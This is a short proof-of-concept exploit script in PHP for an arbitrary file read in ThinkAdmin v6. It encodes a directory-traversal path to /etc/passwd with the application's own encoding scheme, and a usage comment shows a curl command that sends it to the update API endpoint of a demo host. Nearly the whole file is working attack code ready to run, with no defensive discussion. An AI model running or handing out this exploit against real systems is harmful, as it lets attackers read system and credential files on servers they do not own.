POC for ThinkAdmin file read

poc.php

<?php
/*
 * Date: 2020-02-06
 * Exploit Author: k4ii
 * Daemon Link: https://v6.thinkadmin.top
 * Version: v6
 * Tested on: linux
 * Usage:
 *      curl "https://v6.thinkadmin.top/admin/api.update/get" -d "encode=`php poc.php`"
       
 */

function encode($content)
{
    list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}



echo(encode("../../../../../../../../../../../../../etc/passwd"));